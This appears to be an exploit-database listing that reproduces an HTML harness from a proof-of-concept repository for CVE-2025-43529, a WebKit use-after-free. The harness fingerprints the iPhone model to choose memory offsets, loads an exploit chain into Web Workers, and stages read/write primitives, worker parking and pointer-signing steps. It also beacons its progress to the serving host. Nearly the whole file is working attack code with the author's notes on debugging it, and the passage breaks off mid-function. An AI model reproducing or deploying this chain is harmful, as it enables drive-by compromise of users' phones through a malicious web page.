Exploit database

GH-d59b278c976d39849d958870db3e29f3

genericcoding/pois0nsword

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-43529

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
genericcoding/pois0nswordRevision 7a4422998792

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

testbenchpublic.html

HTML · 55,285 bytes
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, viewport-fit=cover">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#f9f9f9">
<title>posi0nSword</title>
<style>
  :root { --green: #3d9459; --hairline: rgba(60,60,67,.29); }
  html, body { margin:0; padding:0; height:100%; background:#f2f2f7; overscroll-behavior:none; }
  body { -webkit-font-smoothing:antialiased; -webkit-tap-highlight-color:transparent; -webkit-text-size-adjust:100%;
         font-family:-apple-system, BlinkMacSystemFont, 'SF Pro Text', 'Helvetica Neue', Roboto, sans-serif; }
  a { color:var(--green); text-decoration:none; }
  @keyframes f7fade { from { opacity:0; } to { opacity:1; } }
  @keyframes f7spin { to { transform:rotate(360deg); } }
  .app { position:relative; height:100dvh; overflow:hidden; display:flex; flex-direction:column; }

  /* ---- top navbar ---- */
  .navbar { flex:none; position:relative; z-index:20; background:rgba(249,249,250,.9);
            backdrop-filter:saturate(180%) blur(20px); -webkit-backdrop-filter:saturate(180%) blur(20px);
            box-shadow:0 .5px 0 var(--hairline); padding-top:env(safe-area-inset-top); }
  .navbar .row { height:46px; display:flex; align-items:center; justify-content:space-between; padding:0 6px; position:relative; }
  .navbtn { color:var(--green); font-size:17px; padding:0 12px; height:44px; display:flex; align-items:center;
            background:none; border:none; cursor:pointer; user-select:none; }
  .navbtn:active { opacity:.4; }
  .navtitle { position:absolute; left:50%; transform:translateX(-50%); font-size:17px; font-weight:600; letter-spacing:-.02em; color:#000; }

  /* ---- log console ---- */
  #output-list { flex:1; overflow-y:auto; background:#191b1f; padding:12px 0; box-sizing:border-box;
                 font-family:ui-monospace, 'SF Mono', SFMono-Regular, Menlo, Consolas, monospace;
                 font-size:13px; line-height:1.65; color:#ced2d9; overscroll-behavior:contain; }
  #output-list > div { padding:2px 16px; white-space:pre-wrap; word-break:break-word; }
  #output-list .fail { color:#d98d84; }
  #output-list .warn { color:#d8b573; }
  #output-list::-webkit-scrollbar { width:8px; }
  #output-list::-webkit-scrollbar-thumb { background:rgba(255,255,255,.12); border-radius:4px; }

  /* ---- bottom toolbar ---- */
  .toolbar { flex:none; z-index:20; background:rgba(249,249,250,.9);
             backdrop-filter:saturate(180%) blur(20px); -webkit-backdrop-filter:saturate(180%) blur(20px);
             box-shadow:0 -.5px 0 var(--hairline); padding-bottom:env(safe-area-inset-bottom); }
  .toolbar .row { height:50px; display:flex; align-items:center; max-width:560px; margin:0 auto; padding:0 6px; }
  .toolbar .side { flex:1; display:flex; align-items:center; }
  .toolbar .side.right { justify-content:flex-end; }
  .iconbtn { width:44px; height:44px; display:flex; align-items:center; justify-content:center;
             background:none; border:none; cursor:pointer; user-select:none; padding:0; }
  .iconbtn:active { opacity:.4; }
  .iconbtn[disabled] { opacity:.35; pointer-events:none; }
  .iconbtn svg { fill:var(--green); }
  .center { flex:none; min-width:120px; display:flex; flex-direction:column; align-items:center; justify-content:center; gap:3px; }
  #statuswrap { display:flex; align-items:center; gap:5px; font-size:12.5px; font-weight:600; color:#1c1c1e; line-height:1; }
  #spin { width:12px; height:12px; display:none; }
  #spin.on { display:block; animation:f7spin .8s steps(8,end) infinite; }

  /* ---- modal (about/credits) ---- */
  .overlay { position:fixed; inset:0; z-index:100; display:none; align-items:flex-end; justify-content:center;
             background:rgba(0,0,0,.25); animation:f7fade .25s; }
  .overlay[data-open="true"] { display:flex; }
  .modal { background:#f2f2f7; border-radius:14px 14px 0 0; width:min(560px,100%); max-height:70%;
           overflow-y:auto; padding:18px 18px calc(18px + env(safe-area-inset-bottom)); box-sizing:border-box; }
  .modal h2 { font-size:20px; margin:0 0 10px; color:#000; }
  .modal p { font-size:15px; line-height:1.55; color:#3c3c43; margin:0 0 10px; }
  .modal .muted { color:#8e8e93; font-size:13px; }
  .modal .row { display:flex; justify-content:space-between; gap:12px; padding:9px 0; border-bottom:.5px solid var(--hairline); font-size:14.5px; color:#1c1c1e; }
  .modal .row .v { color:#8e8e93; text-align:right; }
  .modal .close { display:block; margin:12px auto 0; padding:9px 26px; border:none; border-radius:11px;
                  background:#fff; color:var(--green); font-size:16px; font-weight:600; cursor:pointer; }

  /* ---- settings sheet ---- */
  #sheetBackdrop { position:fixed; inset:0; z-index:240; background:rgba(0,0,0,.25); display:none; animation:f7fade .3s; }
  #sheetBackdrop.on { display:block; }
  #settingsSheet { position:fixed; left:0; right:0; bottom:0; z-index:250; transform:translateY(105%);
                   transition:transform .34s cubic-bezier(.32,.72,0,1); pointer-events:none; }
  #settingsSheet.on { transform:translateY(0); }
  #settingsSheet .card { max-width:560px; margin:0 auto; background:#f2f2f7; border-radius:14px 14px 0 0;
                         pointer-events:auto; padding-bottom:calc(10px + env(safe-area-inset-bottom,0px)); }
  #settingsSheet .grab { width:36px; height:5px; border-radius:3px; background:rgba(60,60,67,.3); margin:8px auto 0; }
  #settingsSheet .head { display:flex; align-items:center; justify-content:space-between; padding:10px 16px 6px; }
  #settingsSheet .head b { font-size:20px; color:#000; }
  #settingsSheet .done { color:var(--green); font-size:17px; font-weight:600; padding:6px 4px; cursor:pointer; background:none; border:none; }
  #settingsSheet .group { background:#fff; border-radius:12px; overflow:hidden; margin:6px 16px 0; }
  .togglerow { display:flex; align-items:center; gap:12px; padding:10px 16px; cursor:pointer; user-select:none; }
  .togglerow + .togglerow { border-top:.5px solid var(--hairline); }
  .togglerow .txt { flex:1; min-width:0; }
  .togglerow .txt b { display:block; font-size:17px; font-weight:400; color:#000; }
  .togglerow .txt span { font-size:13px; color:rgba(60,60,67,.6); }
  .tswitch { width:51px; height:31px; border-radius:16px; flex:none; background:#e9e9ea; transition:background .25s; position:relative; }
  .tswitch.on { background:var(--green); }
  .tswitch i { position:absolute; top:2px; left:2px; width:27px; height:27px; border-radius:50%; background:#fff;
               box-shadow:0 3px 8px rgba(0,0,0,.12), 0 1px 1px rgba(0,0,0,.12); transition:transform .25s cubic-bezier(.25,.8,.4,1.15); }
  .tswitch.on i { transform:translateX(20px); }
</style>
</head>
<body>
<div class="app">
  <div class="navbar">
    <div class="row">
      <button class="navbtn" id="aboutBtn">About</button>
      <div class="navtitle">posi0nSword</div>
      <button class="navbtn" id="creditsBtn">Credits</button>
    </div>
  </div>

  <div id="output-list"></div>

  <div class="toolbar">
    <div class="row">
      <div class="side">
        <button class="iconbtn" onclick="init()" id="runBtn" title="run">
          <svg width="25" height="25" viewBox="0 0 28 28"><path d="M9.3 5.7c0-1.5 1.6-2.4 2.9-1.6l12.1 7.3c1.2.7 1.2 2.5 0 3.2l-12.1 7.3c-1.3.8-2.9-.1-2.9-1.6z"></path></svg>
        </button>
        <button class="iconbtn" id="clearBtn" title="clear">
          <svg width="23" height="23" viewBox="0 0 28 28"><path d="M10.7 5.9v-1.2c0-1.8 1.5-3.2 3.3-3.2s3.3 1.4 3.3 3.2v1.2h-2.4v-1.1c0-.5-.4-.9-.9-.9s-.9.4-.9.9v1.1z"></path><rect x="3.6" y="5.9" width="20.8" height="3" rx="1.5"></rect><path fill-rule="evenodd" d="M5.8 10.8h16.4l-1 12c-.15 1.8-1.65 3.2-3.45 3.2h-7.5c-1.8 0-3.3-1.4-3.45-3.2zm3.75 3.9a.95.95 0 0 1 1.9 0v6.2a.95.95 0 0 1-1.9 0zm3.55 0a.95.95 0 0 1 1.9 0v6.2a.95.95 0 0 1-1.9 0zm3.55 0a.95.95 0 0 1 1.9 0v6.2a.95.95 0 0 1-1.9 0z"></path></svg>
        </button>
      </div>
      <div class="center">
        <div id="statuswrap">
          <svg id="spin" width="12" height="12" viewBox="0 0 28 28"><g fill="#8e8e93"><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".85" transform="rotate(45 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".7" transform="rotate(90 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".6" transform="rotate(135 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".5" transform="rotate(180 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".4" transform="rotate(225 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".3" transform="rotate(270 14 14)"></rect><rect x="12.7" y="2.4" width="2.6" height="7" rx="1.3" opacity=".2" transform="rotate(315 14 14)"></rect></g></svg>
          <span id="status">ready</span>
        </div>
      </div>
      <div class="side right">
        <button class="iconbtn" id="settingsBtn" title="settings">
          <svg width="23" height="23" viewBox="0 0 28 28"><defs><mask id="f7gear"><rect width="28" height="28" fill="#fff"></rect><circle cx="14" cy="14" r="3.6" fill="#000"></circle></mask></defs><g mask="url(#f7gear)"><rect x="11.4" y="1.8" width="5.2" height="24.4" rx="2.6"></rect><rect x="11.4" y="1.8" width="5.2" height="24.4" rx="2.6" transform="rotate(45 14 14)"></rect><rect x="11.4" y="1.8" width="5.2" height="24.4" rx="2.6" transform="rotate(90 14 14)"></rect><rect x="11.4" y="1.8" width="5.2" height="24.4" rx="2.6" transform="rotate(135 14 14)"></rect><circle cx="14" cy="14" r="9"></circle></g></svg>
        </button>
      </div>
    </div>
  </div>
</div>

<!-- Modal (About / Credits) -->
<div class="overlay" id="overlay">
  <div class="modal" id="modal">
    <h2 id="modalTitle"></h2>
    <div id="modalBody"></div>
    <button class="close" id="modalClose">Done</button>
  </div>
</div>

<!-- Settings sheet -->
<div id="sheetBackdrop"></div>
<div id="settingsSheet">
  <div class="card">
    <div class="grab"></div>
    <div class="head"><b>Settings</b><button class="done" id="settingsDone">Done</button></div>
    <div class="group">
      <div class="togglerow" data-k="f7Timestamps">
        <div class="txt"><b>Timestamps</b><span>Prefix each line with the time</span></div>
        <div class="tswitch on" id="swTs"><i></i></div>
      </div>
      <div class="togglerow" data-k="f7AutoScroll">
        <div class="txt"><b>Auto-scroll</b><span>Follow the newest output</span></div>
        <div class="tswitch on" id="swAs"><i></i></div>
      </div>
      <div class="togglerow" data-k="f7Verbose">
        <div class="txt"><b>Verbose</b><span>Show thread-dump lines</span></div>
        <div class="tswitch on" id="swVb"><i></i></div>
      </div>
    </div>
  </div>
</div>

<script>
// UI layer: toggles + sheet + status spinner (independent of the harness below)
(function () {
    const defs = { f7Timestamps: true, f7AutoScroll: true, f7Verbose: true };
    try {
        const saved = JSON.parse(localStorage.getItem("f7ui") || "{}");
        for (const k in defs) window[k] = (k in saved) ? !!saved[k] : defs[k];
    } catch (_) { for (const k in defs) window[k] = defs[k]; }
    function persist() { try { localStorage.setItem("f7ui", JSON.stringify({ f7Timestamps: window.f7Timestamps, f7AutoScroll: window.f7AutoScroll, f7Verbose: window.f7Verbose })); } catch (_) { } }
    const sw = { f7Timestamps: "swTs", f7AutoScroll: "swAs", f7Verbose: "swVb" };
    for (const k in sw) document.getElementById(sw[k]).classList.toggle("on", !!window[k]);
    document.querySelectorAll(".togglerow").forEach(row => {
        row.addEventListener("click", () => {
            const k = row.dataset.k;
            window[k] = !window[k];
            document.getElementById(sw[k]).classList.toggle("on", !!window[k]);
            persist();
        });
    });
    const sheet = document.getElementById("settingsSheet"), bd = document.getElementById("sheetBackdrop");
    const openSheet = () => { sheet.classList.add("on"); bd.classList.add("on"); };
    const closeSheet = () => { sheet.classList.remove("on"); bd.classList.remove("on"); };
    document.getElementById("settingsBtn").addEventListener("click", openSheet);
    document.getElementById("settingsDone").addEventListener("click", closeSheet);
    bd.addEventListener("click", closeSheet);
    document.getElementById("clearBtn").addEventListener("click", () => {
        document.getElementById("output-list").textContent = "";
    });
    // status spinner: on while the status text mentions running
    const spin = document.getElementById("spin");
    new MutationObserver(() => {
        const s = document.getElementById("status").textContent.toLowerCase();
        spin.classList.toggle("on", /running|loading|spawning|stage|wake|spin/.test(s));
    }).observe(document.getElementById("status"), { childList: true, characterData: true, subtree: true });
})();
</script>
<script>
        window.onerror = function (message, source, lineno, colno, error) {
            try {
                log(`JS ERROR line ${lineno}: ${message}`, "fail");
                setStatus("script error");
            } catch (_) {
                const out = document.getElementById("output-list");
                if (out) out.textContent += `JS ERROR line ${lineno}: ${message}\n`;
            }
            console.error("JS ERROR", message, source, lineno, colno, error);
            return true;
        };
        function beacon(kind, message) {
            try {
                const img = new Image();
                img.src = `/log?kind=${encodeURIComponent(kind)}&msg=${encodeURIComponent(String(message).slice(0, 300))}&t=${Date.now()}`;
            } catch (_) { }
        }

        function log(output, cls) {
            beacon(cls || "log", output);
            if (window.__f7Verbose === false && String(output).startsWith("[dump thread]")) return;
            const out = document.getElementById("output-list");
            const addline = document.createElement("div");
            if (cls) addline.className = cls;
            const ts = `[${new Date().toISOString().split("T")[1].split(".")[0]}] `;
            addline.textContent = (window.__f7Timestamps === false ? "" : ts) + output;
            out.appendChild(addline);
            // cap the panel: thousands of DOM nodes across repeated runs pile into real memory
            while (out.childElementCount > 400) out.removeChild(out.firstElementChild);
            if (window.__f7AutoScroll !== false) addline.scrollIntoView();
            console.log(output);
        }

        function setStatus(s) {
            beacon("status", s);
            document.getElementById("status").textContent = s;
            console.log("[status]", s);
        }

        // ── Device model detection ──
        // MobileSafari's UA carries NO model token ("Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 ...)"),
        // WebGL/WebGPU renderer strings are masked ("Apple GPU"), and workers see neither `screen`
        // nor maxTouchPoints -- so the PAGE fingerprints the hardware: physical resolution
        // (screen * devicePixelRatio) + panel refresh class (rAF cadence: ProMotion 120Hz vs 60Hz;
        // NOTE low power mode caps ProMotion at 60 -> Pro models then land in the 60Hz bucket).
        // Resolution order: ?device= override (persisted in localStorage; ?device=auto clears) ->
        // UA model token (present in some embedders) -> fingerprint bucket. Buckets list every model
        // sharing the fingerprint; the chain worker tries each candidate's offsets/<id>.json in
        // order and uses the first that exists -- ambiguous buckets resolve to whichever model
        // actually has an offsets file.
        const DEVICE_FP_TABLE = {
            // 'physW x physH @ dpr / hz-class': [candidate model ids, most-likely-with-offsets first]
            '828x1792@2/60': ['iPhone12,1', 'iPhone11,8'],                          // 11, XR
            '1125x2436@3/60': ['iPhone12,3', 'iPhone11,2'],                         // 11 Pro, XS
            '1242x2688@3/60': ['iPhone12,5', 'iPhone11,4'],                         // 11 Pro Max, XS Max
            '1170x2532@3/60': ['iPhone14,7', 'iPhone17,5', 'iPhone14,5', 'iPhone13,2', 'iPhone13,3'], // 14, 16e, 13, 12, 12 Pro
            '1170x2532@3/120': ['iPhone14,2'],                                      // 13 Pro
            '1284x2778@3/60': ['iPhone14,8', 'iPhone13,4'],                         // 14 Plus, 12 Pro Max
            '1284x2778@3/120': ['iPhone14,3'],                                      // 13 Pro Max
            '1179x2556@3/60': ['iPhone15,4', 'iPhone17,4'],                         // 15, 16
            '1179x2556@3/120': ['iPhone15,2', 'iPhone16,1'],                        // 14 Pro, 15 Pro
            '1290x2796@3/60': ['iPhone15,5', 'iPhone17,3'],                         // 15 Plus, 16 Plus (vphone lands here)
            '1290x2796@3/120': ['iPhone15,3', 'iPhone16,2'],                        // 14 Pro Max, 15 Pro Max
            '1206x2622@3/120': ['iPhone17,1', 'iPhone18,3', 'iPhone18,1'],          // 16 Pro, 17, 17 Pro
            '1320x2868@3/120': ['iPhone17,2', 'iPhone18,2'],                        // 16 Pro Max, 17 Pro Max
            '1260x2736@3/120': ['iPhone18,4'],                                      // Air
        };
        function __measureHz() {
            return new Promise(res => {
                let n = 0; const t0 = performance.now();
                (function tick() {
                    n++;
                    if (performance.now() - t0 < 500) requestAnimationFrame(tick);
                    else res((n / ((performance.now() - t0) / 1000)) > 75 ? 120 : 60);
                })();
            });
        }
        async function detectDevice() {
            const ua = navigator.userAgent || '';
            // manual override: ?device=iPhone15,5 (persisted), ?device=auto (clear)
            const qm = location.search.match(/[?&]device=([A-Za-z0-9,]+)/);
            let forced = null;
            try {
                if (qm) {
                    if (qm[1] === 'auto') localStorage.removeItem('ps_device');
                    else localStorage.setItem('ps_device', qm[1]);
                }
                forced = localStorage.getItem('ps_device');
            } catch (e) { }
            const uaM = ua.match(/iPhone(\d+,\d+)/);
            const uaModel = uaM ? 'iPhone' + uaM[1] : null;
            if (forced || uaModel) {
                return { forced, uaModel, candidates: [], signals: 'fingerprint skipped (override/UA)' };
            }
            const physW = Math.round(screen.width * devicePixelRatio), physH = Math.round(screen.height * devicePixelRatio);
            const hz = await __measureHz();
            const key = physW + 'x' + physH + '@' + devicePixelRatio + '/' + hz;
            const candidates = DEVICE_FP_TABLE[key] || [];
            return { forced: null, uaModel: null, candidates, signals: key + (candidates.length ? '' : ' (no bucket)') };
        }


        async function init() {
            const runner = document.getElementById("runBtn");
            if (window.__cve43529Running) return;
            window.__cve43529Running = true;
            runner.disabled = true;
            document.getElementById("output-list").textContent = "";
            setStatus("running");
            log("Loading chain from Web Worker.");
            log("Stage 1: CVE-2025-43529 UAF trigger");
            //bug fix: Webcore::Script ExecutionContext::didLoadResourceSynchronously
            //isn't set by the webworker during stage 1, unless we do an xhr request first with async disabled
            function getJS(fname, method = 'GET') {
                try {
                    url = fname;
                    //(`trying to fetch ${method} from: ${url}`);
                    let xhr = new XMLHttpRequest();
                    xhr.open("GET", `${url}`, false);
                    //                          ^ (async disabled)
                    xhr.send(null);
                    return xhr.responseText;
                }
                catch (e) {
                    // print("got error in getJS: " + e);
                }
            }
            const signal = new Uint8Array(8);
            const dlopen_worker = `(() => {
  self.onmessage = function (e) {
    const {
      type,
      data
    } = e.data;
    switch (type) {
      case 'init':
        const canvas = new OffscreenCanvas(64, 64);
        const cx = canvas.getContext('2d', { willReadFrequently: true });
        cx.fillStyle = '#f00';
        cx.fillRect(0, 0, 64, 64);
        globalThis[0] = data;
        createImageBitmap(canvas).then(bitmap => {
          globalThis[1] = bitmap;
          self.postMessage(null);
        });
        break;
      case 'dlopen':
        self.postMessage('close() ENTER');
        globalThis[1].close();
        self.postMessage('close() RETURNED -- no park (dlopen did not block)');
        break;
    }
  };
})();`;

            function main(devInfo) {
                const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript' });
                const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
                let workerCode = "";
                // inject the server origin so the worker's synchronous slog() can reach /log,
                // and the page-side device fingerprint so loadOffsets picks the right JSON
                workerCode = "self.__SLOG_ORIGIN=" + JSON.stringify(location.origin) + ";\n" +
                    "self.__DEVICE_INFO=" + JSON.stringify(devInfo || null) + ";\n" + getJS(`do_chain.js`);
                let workerBlob = new Blob([workerCode], { type: 'text/javascript' });
                let workerBlobUrl = URL.createObjectURL(workerBlob);

                const worker = new Worker(workerBlobUrl);

                worker.onerror = function (e) {
                    try { log("Worker syntax/load error: " + (e.message || e.toString()), "fail"); } catch (_) { }
                    console.error("Worker error", e);
                };
                // --- dedicated poller: same chain script, stage1 only, then idles with live R/W ---
const poller = new Worker(workerBlobUrl);
poller.onerror = worker.onerror;
let pollerReady = false;
poller.onmessage = function (e) {
    const m = e.data;
    if (m === 'poll_ready') { worker.postMessage({ type: 'poll_ready' }); return; }
    if (m === 'request_stage2') { pollerReady = true; log('[poller] stage1 done — R/W live, idling'); return; } // do NOT send stage2
    log('poller: ' + m);
};
poller.postMessage({ type: 'stage1' });

                const dlopen_workers = [];

                // --- broadcast pump v2: drive REAL first-use media pipelines. Each first use
                // dlopens a fresh framework INSIDE WebContent (WebCore MediaToolbox/VideoToolbox
                // softlink, ImageIO codec plugin, Vision, AudioToolbox) -> its ___cxa_atexit
                // release broadcasts on the atexit mutex -> wakes the parked dlopen worker.
                // No RTCPeerConnection (it leaked one instance per tick -> process freeze).
                const PUMP_H264 = "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAANLbW9vdgAAAGxtdmhkAAAAAAAAAAAAAAAAAAAD6AAAB9AAAQAAAQA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AAAUc3RjbwAAAAAAAAABAAANPwAAAGJ1ZHRhAAAAWm1ldGEAAAAAAAAAIWhkbHIAAAAAAAAAAG1kaXJhcHBsAAAAAAAAAAAAAAAALWlsc3QAAAAlqXRvbwAAAB1kYXRhAAAAAQAAAABMYXZmNTkuMjcuMTAwAAAACGZyZWUAAACebWRhdAAAAAwoAawTYAYb/vl/0eAAAAAKAgHQIUmICbAloAAAAAoCAeBElWCAoSEgAAAACwAB4CT9eiQFWCVgAAAACgAB4Ga14ICpJWAAAAALAgHQQJJVYgJkJaAAAAAMAgHgwiVVWCAowCEgAAAADAAB4Kb116JAVIAlYAAAAAsAAeDiLVeCAqQlYAAAAAsCAdBIvVViAmwloA==";
                const PUMP_AVIF = "AAAAIGZ0eXBhdmlmAAAAAGF2aWZtaWYxbWlhZk1BMUIAAAD5bWV0YQAAAAAAAAAvaGRscgAAAAAAAAAAcGljdAAAAAAAAAAAAAAAAFBpY3R1cmVIYW5kbGVyAAAAAA5waXRtAAAAAAABAAAAHmlsb2MAAAAARAAAAQABAAAAAQAAASEAAAAVAAAAKGlpbmYAAAAAAAEAAAAaaW5mZQIAAAAAAQAAYXYwMUNvbG9yAAAAAGppcHJwAAAAS2lwY28AAAAUaXNwZQAAAAAAAABAAAAAQAAAABBwaXhpAAAAAAMICAgAAAAMYXYxQ4EADAAAAAATY29scm5jbHgAAgACAAIAAAAAF2lwbWEAAAAAAAAAAQABBAECgwQAAAAdbWRhdAoGGBV//aAIMgscgAAAWAAACgV4hg==";
                let __pumpTimer = null, __pumpKill = null, __pumpAC = null, __pumpV1 = null, __pumpV2 = null;
                function __b64uri(b64, mime) { return `data:${mime};base64,${b64}`; }
                function __b64blob(b64, mime) {
                    const bin = atob(b64); const u8 = new Uint8Array(bin.length);
                    for (let i = 0; i < bin.length; i++) u8[i] = bin.charCodeAt(i);
                    return new Blob([u8], { type: mime });
                }
                async function __pumpPlay(which) {
                    try {
                        let v = which === 1 ? __pumpV1 : __pumpV2;
                        if (!v) {
                            v = document.createElement('video');
                            v.muted = true; v.playsInline = true; v.loop = true;
                            v.src = __b64uri(which === 1 ? PUMP_H264 : PUMP_HEVC, 'video/mp4');
                            if (which === 1) __pumpV1 = v; else __pumpV2 = v;
                        }
                        await v.play();
                    } catch (e) { }
                }
                async function __pumpFire() {
                    // MEDIA BATTERY REMOVED (2026-07-19): §5 proved every JS-reachable fresh-load
                    // path is exhausted on this device (loadedCount flat -> zero useful broadcasts),
                    // so the looping videos/codecs/AudioContext were pure background contention +
                    // memory pressure (the 9.8GB WebContent jetsam). The mapredir fire is the only
                    // real wake source; the cheap one-shot sync window at pump_start stays as fallback.
                    try { await VideoDecoder.isConfigSupported({ codec: 'hev1.1.6.L120.90' }); } catch (e) { }
                }
                // window-only SYNCHRONOUS softlink battery (the writeup's alternative path):
                // each call makes WebCore dlopen a fresh framework on the main thread, now.
                function __pumpSyncWindow() {
                    try { navigator.getGamepads(); } catch (e) { }                                // GameController.framework
                    // SpeechRecognition REMOVED: Speech.framework drives the same AVSpeech* classes
                    // that share the AVLoadSpeech onceToken -- instantiating it contends on that gate.
                    try { new (window.ManagedMediaSource || window.MediaSource)(); } catch (e) { }  // media private frameworks
                    try { window.addEventListener('devicemotion', () => { }); } catch (e) { }       // CoreMotion
                    try { navigator.mediaDevices && navigator.mediaDevices.enumerateDevices(); } catch (e) { }   // AVFoundation
                    try { navigator.geolocation.getCurrentPosition(() => { }, () => { }, { timeout: 1 }); } catch (e) { }   // CoreLocation (one-time prompt; delete if it gets in the way)
                    try { const cx = document.createElement('canvas').getContext('2d'); cx.filter = 'blur(2px)'; cx.fillStyle = '#f00'; cx.fillRect(0, 0, 32, 32); } catch (e) { }   // CoreImage (http-safe, Safari 18+)
                }
                function startBroadcastPump() {
                    // DISABLED (2026-07-22, memory-pressure reloads): §5 proved every JS-reachable
                    // fresh-load path is exhausted on this device, so the pump produced ZERO useful
                    // broadcasts while its activity (softlink battery + codec probes every 2s) drove
                    // the WebContent's footprint into MobileSafari's clean-reload threshold at the
                    // fire window -- the dominant attempt killer (0 jetsam/watchdog reports; the
                    // reloads are browser-level memory pressure, §5s's pagehide-beacon class).
                    // §5s's own trim list included "no post-fire pump re-enable" -- this enforces it.
                    log('[pump] broadcast pump DISABLED (memory-pressure reload mitigation)');
                    return;
                }
                function stopBroadcastPump() {
                    if (__pumpKill) { clearTimeout(__pumpKill); __pumpKill = null; }
                    if (__pumpTimer) { clearInterval(__pumpTimer); __pumpTimer = null; log('[pump] broadcast pump OFF'); }
                }
                async function prepare_dlopen_workers() {
                    // FOUR dlopen workers: [0]=worker1 park, [1]=worker2 park, [2]=SPARE for the
                    // worker1 wake, [3]=SPARE for the worker2 wake. Each spare's close() runs the
                    // AVSpeech gate on ITS thread for one wake fire -- a spare's bitmap is consumed
                    // by its first close(), so a spent spare can never re-fire (stage6 needs a
                    // fresh one, marker 0x44444444).
                    for (let i = 1; i <= 4; ++i) {
                        const worker = new Worker(dlopen_worker_url);
                        dlopen_workers.push(worker);
                        await new Promise(r => {
                            worker.postMessage({
                                type: 'init',
                                data: 0x11111111 * i
                            });
                            worker.onmessage = r;
                        });
                        worker.onmessage = (e) => log("dlopen_worker" + i + ": " + e.data);
                    }
                }
                const iframe = document.createElement('iframe');
                iframe.srcdoc = '';
                iframe.style.height = 0;
                iframe.style.width = 0;
                document.body.appendChild(iframe);

                // TND GATE PROBE (2026-08-02, exploit-free): does THIS embedder enable parser-time
                // telephone-number detection? settings().telephoneNumberParsingEnabled is
                // status:embedder, default FALSE (UnifiedWebPreferences.yaml). If the probe number
                // gets linkified into <a href="tel:..."> the gate is OPEN here; plain text = CLOSED
                // (then the chain's armTelephoneGate forcing is what makes the fcall trigger work).
                try {
                    const pf = document.createElement('iframe');
                    pf.style.display = 'none';
                    document.body.appendChild(pf);
                    pf.contentDocument.write('4089961010');
                    const __h = (pf.contentDocument && pf.contentDocument.body) ? pf.contentDocument.body.innerHTML : '';
                    log('[page] TND gate probe: ' + (/href="tel:/.test(__h) ? 'ENABLED (number linkified)' : 'CLOSED (plain text)') + ' | ' + __h.slice(0, 80));
                    pf.remove();
                } catch (e) { log('[page] TND gate probe ERR ' + e); }

                worker.postMessage({
                    type: 'stage1',
                });

                worker.onmessage = async function (event) {
                    const dataFromWorker = event.data;
                    log("Received back from worker:" + dataFromWorker);
                    if (typeof dataFromWorker === 'string' && dataFromWorker.indexOf('fcall self-test PASSED') !== -1) {
                        setStatus('fcall self-test PASSED');
                        try { sessionStorage.setItem('autorun_done', '1'); } catch (e) { }   // disarm autorun: the ~13s gate-bomb teardown reload must NOT restart the chain
                    }
                    if (dataFromWorker && typeof dataFromWorker === 'object') {
    switch (dataFromWorker.type) {
        case 'start_poll':
            if (pollerReady) poller.postMessage({ ...dataFromWorker, type: 'poll_locks' });
            else log('[page] start_poll dropped — poller not ready', 'fail');
            break;
        case 'fire_spare': {
            // SPARE fire worker: close its planted bitmap -> runs the AVSpeech gate on the spare's
            // thread, so the chain never runs the gate (the fire-2 Bambi stall is retired). spareIdx
            // selects the spare: 0 = dlopen_workers[2] (worker1's), 1 = dlopen_workers[3] (worker2's).
            const spareIdx = (dataFromWorker && dataFromWorker.spareIdx) || 0;
            log(`[page] fire_spare -> dlopen_workers[${2 + spareIdx}] (delivering close trigger)`);
            dlopen_workers[2 + spareIdx].postMessage({ type: 'dlopen' });
            break;
        }
        case 'pump_start': startBroadcastPump(); break;
        case 'pump_stop': stopBroadcastPump(); break;
        case 'sign_pointers':
            // CAPTION CARRIER (26.1): addTextTrack() -> Document::registerForCaptionPreferencesChangedCallbacks
            // -> setInterestedInCaptionPreferenceChanges() -> 0s timer -> captionsStyleSheetOverride()
            // -> the MACaption CSS battery, incl. MACaptionAppearanceGetTextEdgeStyle via its softlink
            // init wrapper -> its dlsym hits our interpose -> IIOLoadCMPhotoSymbols -> gFunc globals
            // = GADGETS. GetTextEdgeStyle's garbage return is used as an integer ENUM -> benign (the
            // DDDFA detector caller bounds-trapped on the same garbage, crash 071617). GetDisplayType
            // is NOT used: on 26.1 CaptionDisplayMode is pinned Manual, so it never fires.
            log('[page] sign_pointers: caption carrier (no detector scan)');
            // detector-scan bisect (REAL unpatched slot): does document.write's detector scan even
            // COMPLETE on 26.1? If it hangs here, the fcall's document.write trigger is broken on
            // 26.1 independent of our gadget patch. If it completes, the scan works and the fcall
            // hang is from the patched slot/gadget instead.
            if (!window.__scanDiag) {
                window.__scanDiag = 1;
                const steps = [
                    ['S1: contentDocument access', () => iframe.contentDocument ? 'ok' : (() => { throw 'no contentDocument'; })()],
                    ['S2: write("x") no-digit (no detector)', () => iframe.contentDocument.write('x')],
                    ['S3: write("1") single digit (detector scan)', () => iframe.contentDocument.write('1')],
                    ['S4: write("5551212") phone-like (full scan)', () => iframe.contentDocument.write('5551212')],
                ];
                for (let i = 0; i < steps.length; i++) {
                    log('[scan] ' + steps[i][0] + ' ...');
                    try { steps[i][1](); log('[scan] ' + steps[i][0] + ' RETURNED'); }
                    catch (e) { log('[scan] ' + steps[i][0] + ' ERR ' + e, 'fail'); }
                }
                log('[scan] bisect done (all steps returned)');
            }
            try {
                let cv = document.getElementById('__capv');
                if (!cv) {
                    cv = document.createElement('video');
                    cv.id = '__capv';
                    cv.muted = true; cv.playsInline = true;
                    cv.style.width = cv.style.height = '2px';
